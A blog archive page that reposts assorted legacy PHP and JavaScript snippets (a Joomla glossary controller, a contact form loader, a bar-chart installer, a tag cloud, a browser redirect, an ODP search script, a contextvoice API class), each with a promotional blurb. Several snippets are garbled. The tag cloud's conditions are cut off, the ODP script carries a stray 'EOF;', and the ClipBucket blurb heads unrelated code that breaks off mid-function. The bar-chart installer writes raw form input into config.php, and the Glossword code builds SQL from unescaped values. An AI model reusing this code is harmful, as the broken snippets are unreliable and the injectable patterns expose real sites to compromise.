Category Archives: Social Networking

PHP glossary script

Glossword helps you to create and publish online multilingual dictionary, glossary, or reference. It features real-time localization manager, a customizable alphabetic order, UTF-8 encoding, SEF/SEO support, import/export terms in XML/CSV formats .

 

<?php
/**
* @version        $Id$
* @package        Joomla
* @subpackage    Glossword
* @copyright     Dmitry N. Shilnikov, 2002-2010
* @license        GNU/GPL, see LICENSE.php
*/

defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.application.component.controller' );

class GlosswordController extends JController
{
/**
* Constructor
*/

function __construct( $config = array() )
{
parent::__construct( $config );

}
/* Control Panel Home */
function admin_cph()
{
global $mainframe;

$jo_user =&amp; JFactory::getUser();
$jo_db =&amp; JFactory::getDBO();
$jo_document =&amp; JFactory::getDocument();
$jo_uri =&amp; JFactory::getURI();
$jo_cfg =&amp; JFactory::getConfig();
$jo_user =&amp; JFactory::getUser();
$jo_component = &amp;JComponentHelper::getComponent('com_glossword');

/* Load component configuration */
$query = 'SELECT * FROM #__gw_config';
$jo_db->setQuery( $query );
$ar_sql = $jo_db->loadAssocList();
$ar_cfg = array();
foreach ( $ar_sql as $k => $v )
{
$ar_cfg[$v['setting_key']] = $v['setting_value'];
}
/* Default visual theme name */
$ar_cfg['visualtheme'] = 'gw-joomla';
/* Authorize using User ID */
$ar_cfg['is_autoauth'] = $jo_user->id;
/* Absolute path to CSS-files. Used in `file()` */
$ar_cfg['path_css_abs'] = $ar_cfg['path_temp_abs'].'/'.$ar_cfg['visualtheme'];
/* Path to CSS for HTML. Used in CSS and JS, for example `img src="{path_css}/header.png"`. */
/* Variable `server_dir` is common for both back- and frontends. */
$ar_cfg['path_css'] = $ar_cfg['server_dir'].'/'.$ar_cfg['path_temp_web'].'/'.$ar_cfg['visualtheme'];
/* Absolute path to temporary folder. Used for writing a temporary data (html, cache, etc.) */
$ar_cfg['path_temp'] = $ar_cfg['path_temp_abs'];
/* Custom tablenames for a user sessions */
$ar_cfg['db_table_users'] = 'users_jos';
$ar_cfg['db_table_groups'] = 'usergroups_jos';
$ar_cfg['db_table_sessions'] = 'sessions_jos';
/* Send HTTP-headers */
$ar_cfg['is_send_headers'] = 0;

/* ------------------------------------------------- */
error_reporting( E_ALL );
if ( !defined( 'IS_IN_SITE' ) ) { define( 'IS_IN_SITE', 1 ); }
if ( !defined( 'SITE_THIS_SCRIPT' ) ) { define( 'SITE_THIS_SCRIPT', 'admin.php' ); }

/* mktime() called once */
$_SERVER['REQUEST_TIME'] = isset( $_SERVER['REQUEST_TIME'] ) ? $_SERVER['REQUEST_TIME'] : mktime();

/* Current script instance */
$o = crc32( $_SERVER['REQUEST_TIME'] );

/* Load configuration class */
if ( file_exists( $ar_cfg['path_core_abs'].'/gw_config.php' ) )
{
require_once( $ar_cfg['path_core_abs'].'/gw_config.php' );
}
else
{
JError::raiseWarning( 100, JText::sprintf( 'LJ1000', '<strong>'. $ar_cfg['path_core_abs'].'/gw_config.php</strong>' ) );
}

/* */
${$o} = new site_db_config();

/* Correct path names - 1st time */
${$o}->a( 'path_includes', $ar_cfg['path_core_abs'].'/'.${$o}->V->path_includes );

/* Load everything */
include( ${$o}->V->path_includes.'/core_prepend.php' );
include( ${$o}->V->path_includes.'/core_engine.php' );
include( ${$o}->V->path_includes.'/core_engine_utils.php' );

/* */
${$o} = new site_engine_utils();

/* Correct path names - 2nd time */
foreach ( array('path_includes', 'path_js', 'path_locale', 'path_images', 'path_views', 'path_db', 'path_mod') as $path )
{
${$o}->a( $path, $ar_cfg['path_core_abs'].'/'.${$o}->V->$path );
}

/* Append to URL - frontend */
$ar_cfg['is_sef'] = 0;
$ar_cfg['sef_output'] = 'html';
$ar_cfg['sef_fileindex'] = 'index.php?';
$ar_cfg['sef_append'] = array(
'option' => $jo_component->option
);

/* Append to URL - backend */
$ar_cfg['is_sef_admin'] = 0;
$ar_cfg['sef_output_admin'] = 'html';
$ar_cfg['sef_fileindex_admin'] = 'index.php?';
$ar_cfg['sef_append_admin'] = array(
'option' => $jo_component->option
);
${$o}->a( 'sef_rule_admin', array() );


/* Append to all URLs used for AJAX-requests */
$ar_cfg['sef_append_ajax'] = array( 'format' => 'ajax' );

/* Use existend database connection */
$ar_cfg['db_host'] = $mainframe->getCfg( 'host' );
$ar_cfg['db_user'] = $mainframe->getCfg( 'user' );
$ar_cfg['db_pass'] = $mainframe->getCfg( 'password' );
if ( $ar_cfg['db_name'] == $jo_cfg->getValue( 'db' ) )
{
/* Display error */
/* *REMOVED* */
/* Catch only mysqli */
if ( $mainframe->getCfg( 'dbtype' ) == 'mysqli' )
{
$ar_cfg['db_conn'] =&amp; $jo_db->_resource;
}
}

/* Add $ar_cfg to Glossword configuration */
foreach ( $ar_cfg as $setting_key => $setting_value )
{
${$o}->a( $setting_key, $setting_value );
}

/* SEF */
${$o}->a( 'sef_rule', array() );

${$o}->a( 'oTimer', new tkit_timer );

/* Register a global variables */
${$o}->global_variables( array( 'arg', 'arp', GW_SITE_SID, GW_SITE_SID.'r' ) );
if ( !${$o}->init() )
{
JError::raiseWarning( 100, JText::sprintf( 'LJ1001', $ar_cfg['db_name'] ) );
return;
}

/* Timer */
${$o}->a( 'time_php_prepend', ${$o}->V->oTimer->end() );
${$o}->a( 'oTimer', new tkit_timer );

${$o}->page_header();
${$o}->page_body();
${$o}->page_footer();

/* Add CSS */
$jo_document->addStyleSheet( JRoute::_( 'index.php?option=com_glossword&amp;&amp;format=css&amp;arg[files]='.${$o}->oOutput->get_css_collection().'&amp;arg[sef_output]=css' ) );

/* Add JS */
$jo_document->addScript( JRoute::_( 'index.php?option=com_glossword&amp;&amp;format=js&amp;arg[files]='.${$o}->oOutput->get_js_collection().'&amp;arg[sef_output]=js' ) );

/* Changing MIME-type */
$format = JRequest::getVar( 'format' );

switch ( $format )
{
case 'ajax': $jo_document->setMimeEncoding( 'text/plain' ); break;
case 'css': $jo_document->setMimeEncoding( 'text/css' ); break;
case 'js': $jo_document->setMimeEncoding( 'text/javascript' ); break;
}

/* Page title */
$jo_document->setTitle( ${$o}->oOutput->get_html_title() );

}
/**
* Displays HTML-form to configure module settings
*
* @return HTML-code
*/

function admin_configure()
{
$arp = JRequest::getVar( 'arp', array(), '', 'array' );
$jo_db =&amp; JFactory::getDBO();
$jo_document =&amp; JFactory::getDocument();

/* Add CSS */
$jo_document->addStyleSheet( JRoute::_( 'index.php?option=com_glossword&amp;&amp;format=css&amp;arg[files]=admin&amp;arg[sef_output]=css' ) );

/* */
$str = '';
if ( empty( $arp ) )
{
/* Load component configuration */
$query = 'SELECT * FROM #__gw_config ORDER BY `setting_key`';
$jo_db->setQuery( $query );
$ar_sql = $jo_db->loadAssocList();
$ar_cfg = array();
foreach ( $ar_sql as $k => $v )
{
$ar_cfg[$v['setting_key']] = $v['setting_value'];
}

/* Display HTML-form */
$str .= HTML_glossword::showform( $ar_cfg );

/* Register tasks */
JToolBarHelper::save( 'configure' );
}
else
{

/* */
GlosswordController::user_sync($arp, GW_ID_GROUP_ADMINS);
GlosswordController::user_sync($arp, GW_ID_GROUP_USERS);

foreach ( $arp as $k => $v )
{
/* Checking trailing slash */
if ($k == 'path_temp_abs' || $k == 'path_core_abs' || $k == 'server_dir' || $k == 'server_dir_admin')
{
$v = str_replace( "\x5c", "\x2f", $v );
$v = preg_replace( "/(\\x2f)$/", '', $v );
}

$query = 'UPDATE #__gw_config'
. ' SET setting_value = \''. mysql_escape_string($v) .'\''
. ' WHERE setting_key = \''. mysql_escape_string($k) .'\''
;
$jo_db->setQuery( $query );
$jo_db->query();
}
$href_index = JRoute::_( 'index.php?option=com_glossword');
$str .= JText::_( 'Settings saved' );
$str .= '. <a href="'.$href_index.'">'.JText::_( 'Continue to Control Panel' ).'</a>.';
}
print $str;
}

/**
* Keeps both tables in sync.
* Limit for this component - 1000 users
*
* @param int $id_usergroup Usergroup ID
* @param Array $ar Data from HTML-form
* @todo Ability to connect database using abother login/password.
*/

function user_sync($ar, $id_usergroup)
{
$jo_db =&amp; JFactory::getDBO();

/* Selecting Users ID from Joomla */
if ( $id_usergroup == GW_ID_GROUP_ADMINS )
{
$query = 'SELECT id `id_user` FROM #__users WHERE ( usertype = "Super Administrator" OR usertype = "Administrator" ) AND id != "1"';
}
else if ( $id_usergroup == GW_ID_GROUP_USERS )
{
$query = 'SELECT id `id_user` FROM #__users WHERE usertype != "Super Administrator" AND usertype != "Administrator" AND id != "1" ORDER BY registerDate DESC LIMIT 1000';
}
$jo_db->setQuery( $query );
$ar_sql = $jo_db->loadAssocList();
if ( is_null($ar_sql) ){ $ar_sql = array(); }
$ar_sql_joomla = array();
foreach ( $ar_sql as $ar_v )
{
$ar_sql_joomla[$ar_v['id_user']] = '';
}

/* Selecting Users ID from Glossword */
$query = 'SELECT id_user FROM '.$ar['db_name'].'.'.$ar['table_prefix'].'users_jos WHERE id_group = "'.$id_usergroup.'" AND id_user != "1" ORDER BY date_reg DESC LIMIT 1000';
$jo_db->setQuery( $query );
$ar_sql = $jo_db->loadAssocList();
if ( is_null($ar_sql) ){ $ar_sql = array(); }
$ar_sql_gw = array();
foreach ( $ar_sql as $k => $ar_v )
{
$ar_sql_gw[$ar_v['id_user']] = '';
unset( $ar_sql[$k] );
}
/* Find difference */
$ar_sql_new_users = array_diff_key( $ar_sql_joomla, $ar_sql_gw );

/* Update existent users */
if ( !empty($ar_sql_gw) )
{
$query = 'SELECT id `id_user`, name `user_fname`, username `login`, email `user_email`, '.
'registerDate `date_reg`, lastvisitDate `date_login` '.
'FROM #__users WHERE id IN ('. implode(',', array_keys($ar_sql_gw)).')';
$jo_db->setQuery( $query );
$ar_sql = $jo_db->loadAssocList();
if ( is_null( $ar_sql ) ){ $ar_sql = array(); }

foreach ( $ar_sql as $k => $ar_v )
{
$query = 'UPDATE '.$ar['db_name'].'.'.$ar['table_prefix'].'users_jos'
. ' SET login = '. $jo_db->Quote($ar_v['login']).', id_group = '.$id_usergroup.', date_reg = '.$jo_db->Quote($ar_v['date_reg']).', date_login = '.$jo_db->Quote($ar_v['date_login'])
. ', user_fname = '.$jo_db->Quote($ar_v['user_fname']).', user_email = '.$jo_db->Quote($ar_v['user_email'])
.' WHERE id_user = '. $ar_v['id_user'].' ';
$jo_db->setQuery( $query );
$jo_db->query();
unset( $ar_sql[$k] );
}
}

/* Insert new users */
if ( !empty( $ar_sql_new_users ) )
{
$query = 'SELECT id `id_user`, name `user_fname`, username `login`, email `user_email`, '.
'registerDate `date_reg`, lastvisitDate `date_login` '.
'FROM #__users WHERE id IN ('. implode( ',', array_keys( $ar_sql_new_users ) ).')';
$jo_db->setQuery( $query );
$ar_sql = $jo_db->loadAssocList();
if ( is_null( $ar_sql ) ){ $ar_sql = array(); }

foreach ( $ar_sql as $k => $ar_v )
{
#id_user    login     password     id_group     is_active is_visible     is_moderated     id_user_public     date_reg     date_login
#cnt_terms     cnt_comments     cnt_kb     user_fname     user_sname     user_nickname     user_email     user_location     user_settings
$query = 'INSERT INTO '.$ar['db_name'].'.'.$ar['table_prefix'].'users_jos'
. ' ( id_user, login, password, id_group, id_user_public, date_reg, date_login, user_fname, user_sname, user_nickname, user_email, user_location, user_settings )'
. ' VALUES ( '. $ar_v['id_user'].', '.$jo_db->Quote($ar_v['login']).', "", '.$id_usergroup.', '.sprintf("%u", crc32($ar_v['id_user']))
.', '.$jo_db->Quote($ar_v['date_reg']).', '.$jo_db->Quote($ar_v['date_login']).', '.$jo_db->Quote($ar_v['user_fname']).', "", "", '.$jo_db->Quote($ar_v['user_email'])
.', "", '.$jo_db->Quote(serialize(array())).' )';
$jo_db->setQuery( $query );
$jo_db->query();
unset( $ar_sql[$k] );
}
}

/* Remove users from Glossword */
/* Add guest */
$ar_sql_joomla[1] = '';
$query = 'DELETE FROM '.$ar['db_name'].'.'.$ar['table_prefix'].'users_jos '
. ' WHERE id_group ="'.$id_usergroup.'" AND id_user NOT IN ('. implode( ',', array_keys( $ar_sql_joomla ) ).')';
$jo_db->setQuery( $query );
$jo_db->query();

#print '<br /><pre>';

#print_r( $ar_sql_joomla );
#print_r( $ar_sql_gw );
#print_r( $ar_sql_new_users );
}

}

PHP by Mike Challis Script

Fast Secure Contact Form PHP Script allows a user to easily create and add contact forms to a web page.The form will let the user send emails to a site’s admin. An administration panel is present, where the user can create and preview his forms.Features a super easy admin panel, multi-form feature, autoresponder, no templates to mess with, and an option to redirect visitors to any URL after the message is sent. Includes CAPTCHA and Akismet support to block all common spammer tactics. Spam is no longer a problem. You can add extra fields of any type: text, textarea, checkbox, checkbox-multiple, radio, select, select-multiple, attachment, date, time, hidden, password, and fieldset.

 

<?php
/*
Fast Secure Contact Form - PHP Script
Author: Mike Challis
http://www.FastSecureContactForm.com/
*/

//do not allow direct access
if ( strpos(strtolower($_SERVER['SCRIPT_NAME']),strtolower(basename(__FILE__))) ) {
header('HTTP/1.0 403 Forbidden');
exit('Forbidden');
}

// fixes no gettext support error: Fatal error: Call to undefined function _()
if (!function_exists('_')) {
function _($string) {
return $string;
}
}

// requires PHP 5.1 or higher
$phpversion = substr(PHP_VERSION, 0, 6);
if($phpversion >= 5.1) {

if (!isset($contact_form_language_override))
$contact_form_language_override = '';

require $contact_form_path . 'contact-form.php';
if (class_exists('FSCForm') &amp;&amp; !isset($fsc_form) ) {
$fsc_form = new FSCForm();
}
if (isset($fsc_form)) {
echo $fsc_form->form_do($contact_form, $contact_form_path, $contact_form_language_override);
}

}else{
echo '<p><span style="color:red;">'._('Fast Secure Contact Form requires PHP version 5.1 or higher').'</span><br />'.
_('Please upgrade PHP in order to proceed').'<p>';

}
unset($contact_form);
unset($contact_form_language_override);
unset($fsc_form);
?>

PHP bar chart script

Draws the chart in which the length of vertical bar indicates the value. Style of the bar charts can be customized optionally.Database utility is provided.This script can be embedded into your PHP applications.

 

<?php
include 'config.php';
?>
<style>
.ta{background-color: lightblue;}
.rad{color:red; font-weight:bold; background-color: ffff44;}
</style>

<?php

$username = $_POST['username'];
$password = $_POST['pass'];
$hostname = $_POST['hostname'];
$dbname = $_POST['dbname'];
$tablename=$_POST['table'];
//open config.php and write the data in to it.
$file = "config.php";
$open = fopen($file, "w");
fwrite($open,"<?php\n\n \$username = \"".$username."\";\n \$password = \"".$password."\";\n \$hostname = \"".$hostname."\";
\$dbname = \""
.$dbname."\";\n  \$tablename = \"".$tablename."\";\n\n ?>");
fclose($open);


?>

<table bgcolor=adeade align=center style=" margin-top:150px;font-family: Monaco, Verdana, Sans-serif; font-size: 12px;background-color: #f9f9f9;border: 1px solid #D0D0D0;color: #002166;  width:50%;" >
<tr><td align=center>
</td></tr>
<tr><td align=center><i><b>Database Details</b></i></td></tr>
<tr><td><br><br>
<form name=setf method=POST action="<?php echo $PHP_SELF;?>">
<table align=center  style="font-family: Monaco, Verdana, Sans-serif; font-size: 12px;">
<tr><td>HOST NAME: </td><td><input name="hostname"  type=text value=<?php echo "$hostname";?>></td></tr>
<tr><td>DB NAME: </td><td><input name="dbname"  type=text value=<?php echo "$dbname";?>></td></tr>
<tr><td>User NAME: </td><td><input name="username"  type=text value=<?php echo " $username";?>></td></tr>
<tr><td>Password: </td><td><input name="pass"  type=text value=<?php echo "$password";?> ></td></tr>
<tr><td>TableName: </td><td><input name="table"  type=text value=<?php echo "$tablename";?> ></td></tr>
<tr><td><br><br><br><br></td><td><input type=submit name="submit" value="Install" onClick="chkfrm()"></td></tr>
</table>
</form>
</td></tr></table>
<script language="javascript">
function chkfrm()
{
var hname=document.setf.hostname.value;
var dname=document.setf.dbname.value;
var uname=document.setf.username.value;
var tname=document.setf.table.value;
if((hname.length)!=0 &amp;&amp; (dname.length)!=0 &amp;&amp; (uname.length)!=0 &amp;&amp; (tname.length)!=0)
{
alert("Your Installation Sucessfull")
return true;
}
else
{
alert("Your Installation not Sucessfull")
return false;
}
}
</script>

PHP Create a Simple Tag Cloud

PHP code snippet to create your own tag cloud. It has parameters for how many words you wish to display on your web page.

See Live Demo

//function takes 2 parameters
//1 - an array of tags with [tag name] and [counter] (how many times the word is used)
//2 - how many tags you want to display

function echoTagCloud($tags, $how_many) {
    // start the output to the page
    echo "

"
;
    foreach($tags as $k) // start looping through the tags
    {
        // detagine the popularity of this tag as a percentage
        $percent = floor(($k['counter'] / $maximum) * 100);
        // detagine the class for this tag based on the percentage
        if ($percent {
            $class = 'smallest';
        }
        elseif($percent >= 20 and $percent $class = 'small';
        }
        elseif($percent >= 40 and $percent $class = 'medium';
        }
        elseif($percent >= 60 and $percent $class = 'large';
        } else {
            $class = 'largest';
        }
        // output this tag
        echo "".$k['tag']."\n ";
        }
        // close the output
        echo "
\n"
;
    }

See Live Demo

Browser ReDirect – cross-browser; proprietary pages

Copy and paste this redirect script between the
tags of a new web page – no other content is required within this page.

Create two other web pages with content.
One for Internet Explorer and one for NetScape.

In the Script change the “IEpage.html” to the name of
the page you created for IE users.

In the Script change the “NSpage.html” to the name of
the page you created for NS users.

Create a link to the page that contains the redirect script.
It will then redirect your users to the appropriate page you
created for them based on browser.

You can also use it as the “index.html” page for your website
or a particular directory.

<SCRIPT language="JavaScript">
<!--
var browserName = navigator.appName;
browserVer = parseInt ( navigator.appVersion );
name = "0";

if ( browserName == "Netscape" ) name="NS";

if ( browserName != "Netscape" ) name="IE";

if (name == "NS") location.replace("NSpage.html");
else
if (name == "IE")
{
location.replace("IEpage.html");
}
// --></SCRIPT>

Free PHP scripts for ODP

Build a complete directory from the ODP/DMOZ data. Integratedcomplete Inte search engine. Completely template-driven: change completely the directory appearance by modifying just the template files. Cacheable: speed up your directory by caching the ODP data. Theme-based directory: you can set the home of your directory to any ODP category.

<?php
require_once("config.php");
require_once("include.php");
require_once("template_search.php");
header("Content-Type: text/html; charset=utf-8");

$dir = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if (!strpos($dir,"?") === false) $dir = substr($dir,0,strpos($dir,"?"));
$dir = substr($dir,0,strrpos($dir,"/"))."/";
if (!$q){
 header("HTTP/1.1 301 Moved Permanently");
 header("status 301 Moved Permanently");
 header("Location: {$dir}");
 exit();
};
function title_from_path($path){
 if (substr($path,0,1) == "/") $path = substr($path,1,strlen($path)-1);
 if (substr($path,strlen($path)-1,1) == "/") $path = substr($path,0,strlen($path)-1);
 $path_title_array = urldecode($path);
 if (get_magic_quotes_gpc()) $path_title_array = stripslashes($path_title_array);
 $path_title_array = str_replace("_"," ",$path_title_array);
 $path_title_array = explode("/",$path_title_array);
 $title = $path_title_array[count($path_title_array)-1];
 if (count($path_title_array) > 1){
 $title .= " (";
 if (count($path_title_array) > 5 &amp; strpos($path,"Regional") === 0){
 $title .= "{$path_title_array[2]}... ";
 }elseif (count($path_title_array) > 7 &amp; strpos($path,"World/Deutsch/Regional") === 0){
 $title .= "{$path_title_array[4]}... ";
 }elseif (count($path_title_array) > 6 &amp; strpos($path,"World/Espa%c3%b1ol/Pa%c3%adses") === 0){
 $title .= "{$path_title_array[3]}... ";
 }elseif (count($path_title_array) > 7 &amp; strpos($path,"World/Fran%c3%a7ais/R%c3%a9gional") === 0){
 $title .= "{$path_title_array[4]}... ";
 }elseif (count($path_title_array) > 7 &amp; strpos($path,"World/Italiano/Regionale") === 0){
 $title .= "{$path_title_array[4]}... ";
 }elseif (count($path_title_array) > 7 &amp; strpos($path,"World/Nederlands/Regionaal") === 0){
 $title .= "{$path_title_array[4]}... ";
 };
 if (count($path_title_array) > 2) $title .= "{$path_title_array[count($path_title_array)-3]} : ";
 $title .= $path_title_array[count($path_title_array)-2];
 $title .= ")";
 };
 return $title;
};
function decode_title($title){
 if (function_exists("html_entity_decode")){
 $title = html_entity_decode($title,2,"ISO-8859-15");
 }else{
 $title = str_replace("&amp;amp;","&amp;",$title);
 };
 return $title;
};
function decode_path($path){
 if (function_exists("html_entity_decode")){
 $path = urldecode($path);
 $path = html_entity_decode($path,2,"ISO-8859-15");
 $path = urlencode($path);
 $path = str_replace("%2F","/",$path);
 }else{
 $path = str_replace("%26amp%3b","%26",$path);
 };
 return $path;
};
function shorten_path($path){
 global $home_path;
 if (substr($path,0,1) == "/") $path = substr($path,1,strlen($path)-1);
 if (substr($path,strlen($path)-1,1) == "/") $path = substr($path,0,strlen($path)-1);
 if ($home_path){
 if (strpos(strtolower($path),strtolower($home_path)."/") === 0){
 $path = substr($path,strlen($home_path)+1);
 };
 };
 return $path;
};

$q = strtolower($q);
if (get_magic_quotes_gpc()) $q = stripslashes($q);
$replace = array("[SEARCH_TERM]" => htmlentities($q));
echo strtr($TEMPLATE["HEADING"],$replace);
flush();

if ($use_cache){
 $md5 = "search=".urlencode($q);
 if ($home_path) $md5 .= "&amp;all=no&amp;cat=".$home_path;
 $filename = "{$cache_directory}/search".md5($md5);
 if (file_exists($filename)){
 if (time()- filemtime($filename) < 60*60*24*30){
 $cache = true;
 };
 };
};
if (!$cache){
 $url = "http://search.dmoz.org/cgi-bin/search?search=".urlencode($q);
 if ($home_path) $url .= "&amp;all=no&amp;cat=".$home_path;
 if((@$fp = fopen($url,"r")) != false){
 $file = "";
 while(!feof($fp)) {
 $file = $file . fread($fp, 1024);
 };
 fclose($fp);
 if (!strpos($file,"The Open Directory search is temporarily unavailable") === false){
 $error = true;
 $access_error = true;
 };
 }else{
 $error = true;
 if ($cached) $cache = true;
 };
 if (!$error){
 while (eregi("(<a href=\")([^\"]+)(\"><strong>)([^<]+)(</strong></a>)",$file,$out)){
 $path_array = explode("/",substr($out[2],1,strlen($out[2])-2));
 if (substr($out[2],strlen($out[2])-3,1) == "/") $out[2] = substr($out[2],0,strlen($out[2])-2);
 $categories[$out[2]] = "";
 $file = substr($file,strpos($file,$out[0])+strlen($out[0]));
 };
 foreach ($categories as $path => $void){
 $n_categories += 1;
 $odp["categories"][$n_categories] = $path;
 };
 $file = str_replace("<b>","",$file);
 $file = str_replace("</b>","",$file);
 while (eregi("(<a href=\")([^\"]+)(\">)([^<]+)(</a> - )([^<]+)(<div)",$file,$out)){
 $n_pages += 1;
 $odp["pages"][$n_pages]["url"] = $out[2];
 $odp["pages"][$n_pages]["title"] = $out[4];
 $odp["pages"][$n_pages]["description"] = trim($out[6]);
 $file = substr($file,strpos($file,$out[0])+strlen($out[0]));
 };
 if ($use_cache){
 if ((@$cf = fopen($filename,"w")) != false){
 fwrite($cf,serialize($odp));
 fclose($cf);
 };
 };
 };
};
if ($use_cache){
 if ($cache){
 if((@$fp = fopen($filename,"r")) != false){
 $odp = unserialize(stripslashes(fread($fp,filesize($filename))));
 fclose($fp);
 };
 };
};
if ($access_error){
 echo $TEMPLATE["ERROR"];
}else{
 if ($home_path){
 for ($x = 1; $x <= count($odp["categories"]); $x++){
 if (strpos($odp["categories"][$x],"/".$home_path."/") === false){
 array_splice($odp["categories"],$x-1,1);
 array_unshift($odp["categories"],"");
 unset($odp["categories"][0]);
 $x--;
 };
 };
 };
 if (count($odp["categories"])){
 echo $TEMPLATE["SUBCATEGORIES"]["HEADING"];
 for ($x = 1; $x <= count($odp["categories"]); $x++){
 $odp["categories"][$x] = shorten_path(decode_path($odp["categories"][$x]));
 $category_name = urldecode($odp["categories"][$x]);
 $category_name = str_replace("/"," : ",$category_name);
 $category_name = str_replace("_"," ",$category_name);
 $replace = array("[CATEGORY_NAME]" => htmlentities($category_name,2,"UTF-8"), "[CATEGORY_URL]" => $dir."index.php?c={$odp["categories"][$x]}");
 echo strtr($TEMPLATE["SUBCATEGORIES"]["CATEGORY"],$replace);
 };
 echo $TEMPLATE["SUBCATEGORIES"]["FOOTER"];
 };
 if (count($odp["pages"])){
 $replace = array("[TOTAL_PAGES]" => count($odp["pages"]), "[SEARCH_TERM]" => htmlentities($q));
 echo strtr($TEMPLATE["PAGES"]["HEADING"],$replace);
 for ($x = 1; $x <= count($odp["pages"]); $x++){
 $odp["pages"][$x]["title"] = decode_title($odp["pages"][$x]["title"]);
 $replace = array("[PAGE_TITLE]" => htmlentities($odp["pages"][$x]["title"],2,"UTF-8"), "[PAGE_DESCRIPTION]" => htmlentities($odp["pages"][$x]["description"],2,"UTF-8"), "[PAGE_URL]" => $odp["pages"][$x]["url"]);
 echo strtr($TEMPLATE["PAGES"]["PAGE"],$replace);
 };
 echo $TEMPLATE["PAGES"]["FOOTER"];
 }else{
 $replace = array("[SEARCH_TERM]" => htmlentities($q));
 echo strtr($TEMPLATE["PAGES"]["NO_PAGES"],$replace);
 };
};
echo <<<EOF
<!--//
DON'T REMOVE THIS. READ http://dmoz.org/become_an_editor/
//-->
<div>
<p><table border="0" bgcolor="#dddddd" cellpadding="1" cellspacing="0"><tr><td>
<table width="100%" cellpadding="2" cellspacing="0" border="0"><tr align="center">
<td>&amp;nbsp; &amp;nbsp; Help build the largest human-edited directory on the web. &amp;nbsp; &amp;nbsp;</td>
</tr><tr bgcolor="#ffffff" align="center">
<td>&amp;nbsp; &amp;nbsp; <a href="http://dmoz.org/cgi-bin/add.cgi?where={$path}">Submit a site</a> - <a href="http://dmoz.org/about.html">Open Directory Project</a> - <a href="http://dmoz.org/cgi-bin/apply.cgi?where={$path}">Become an editor</a> &amp;nbsp; &amp;nbsp;</td>
</tr></table>
</td></tr></table></p>
</div>
EOF
;
EOF;

$sponsor = get_sponsor();

$replace = array("[SPONSOR_URL]" => $sponsor["link"], "[SPONSOR_TEXT]" => $sponsor["text"]);
echo strtr($TEMPLATE["FOOTER"],$replace);
?>

&amp;nbsp;

PHP Scripts Video Sharing & Social Networking

ClipBucket is a very Powerful Video sharing & Media Management Script. With a Huge Variety of Features. which include Proper Video Uploading & Conversion, Customizable Channels, Play lists, Quick Lists, SQL injection free, Fully loaded Admin Panel with control From frond end. Plug-in System,Complete stats and conversion logs. Easy & Fast template system with built in editor. Complete Video Rating system with Comments & Reply.

<?php

*/

/**
* Main class
* @package contextvoice
* @subpackage Main
*/

class contextvoice{
 private $apikey;

 /**
 * Default constructor
 *
 * You can use the service anonymously by not specifying an API key but you will be limited to only using the getUrlReactions method, and a call rate limit of 500 calls per day.
 *
 * Instantiate as
 *    $myvar = new contextvoice('[my api key]');
 * or
 *    $myvar = new contextvoice(); //anonymous access
 *
 * @param string $apikey
 */

 public function __construct($apikey=false){
 $this->apikey = $apikey;
 }

 /**
 * Submit a single url to contextvoice for tracking
 *
 * @param string $url
 * Must be a fully qualified url e.g. http://www.example.com/page.htm
 * @return cv_Response
 */

 function addUrl($url){
 $api = "http://api.contextvoice.com/1.1/resources/";
 $uri = $api."?apikey={$this->apikey}&amp;format=json";
 $data = array("url" => $url);
 $response = $this->sendRequest($uri, 'POST', $data);
 return $response;
 }

 /**
 * Submit a number of urls to contextvoice for tracking.
 *
 * $urls can be either a comma delimited list or an array.
 * each URL must be a fully qualified url e.g. <i>http://www.example.com/page.htm</i>
 *
 * @param mixed $urls
 * This must be either a comma-separated list(string) or an array of urls
 * @return cv_Response
 */

 function addUrls($urls){
 $api = "http://api.contextvoice.com/1.1/resources/batch/";
 $uri = $api."?apikey={$this->apikey}&amp;format=json";
 //allow urls to be passed as array or comma delimted string
 if(is_array($urls)){
 $urlData = implode(",", $urls);
 }else{
 $urlData = $urls;
 }
 $data = array("urls" => $urlData);
 $response = $this->sendRequest($uri, 'POST', $data);
 return $response;
 }
 /**
 * Get info about a single url from contextvoice.
 *
 * The url must have first been registered via the addUrl or addUrls methods.
 *
 * @param string $url
 * Must be a fully qualified url e.g. http://www.example.com/page.htm
 * @return cv_Response
 */

 function getUrlInfo($url){
 $api = "http://api.contextvoice.com/1.1/resources/";
 $uri = $api."?url={$url}&amp;apikey={$this->apikey}&amp;format=json";
 $response = $this->sendRequest($uri);
 return $response;
 }
 /**
 * Get a set of reactions about a single url from contextvoice.
 *
 * The url must have first been registered via the addUrl or addUrls methods.
 *
 * @param string $url
 * Must be a fully qualified url e.g. http://www.example.com/page.htm
 * @param string $since
 * [optional] Any php parseable date string e.g. "15 May 2009"
 * @param string $include
 * [optional] Comma-separated list of sources e.g. "twitter,digg,friendfeed"
 * @param string $exclude
 * [optional] Comma-separated list of sources e.g. "flickr,hackernews,slashdot"
 * @param bool $filter
 * [optional] if true, attempts to remove "retweets" from the results.
 * @param string $order
 * [optional] "asc" or "desc" orders the results by the date that they were added to the contextvoice indexes
 * @param int $page
 * [optional] the page of results to return defaults to 1
 * @param int $perpage
 * [optional] the number of results to return per page, defaults to 25
 * @param bool $threaded
 * [optional] return the threaded conversation (retwitts will be treated as children of the original twitt), defaults to false
 * @return cv_Response
 */

 function getUrlReactions($url, $since=false, $include=false, $exclude=false, $filter=false, $order=false, $page=false, $perpage=false, $threaded=false ){
 if($this->apikey==false){
 $api = "http://externalapi.contextvoice.com/1.1/reactions/";
 $uri = $api."?url={$url}&amp;format=json";
 }else{
 $api = "http://api.contextvoice.com/1.1/reactions/";
 $uri = $api."?url={$url}&amp;apikey={$this->apikey}&amp;format=json";
 }
 if($order!=false){
 $uri = $uri."&amp;order={$order}";
 }
 if($perpage!=false){
 $uri = $uri."&amp;perpage={$perpage}";
 }
 if($page!=false){
 $uri = $uri."&amp;page={$page}";
 }
 if($exclude!=false){
 $uri = $uri."&amp;exclude[generator]={$exclude}";
 }
 if($include!=false){
 $uri = $uri."&amp;include[generator]={$include}";
 }
 if($filter!=false){
 $uri = $uri."&amp;filter=remove-retwitts";
 }
 if($threaded!=false){
 $uri = $uri."&amp;threaded=true";
 }
 if($since!=false){
 $date = date_parse($since);
 if($date['error_count']==0){
 $uri = $uri."&amp;since=".date("U", strtotime($since));
 }
 }
 $response = $this->sendRequest($uri);
 return $response;
 }

 /**
 * create and excute a CURL request
 * @ignore
 */

 private function sendRequest($uri, $method ='GET', $data ='')
 {
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $uri);
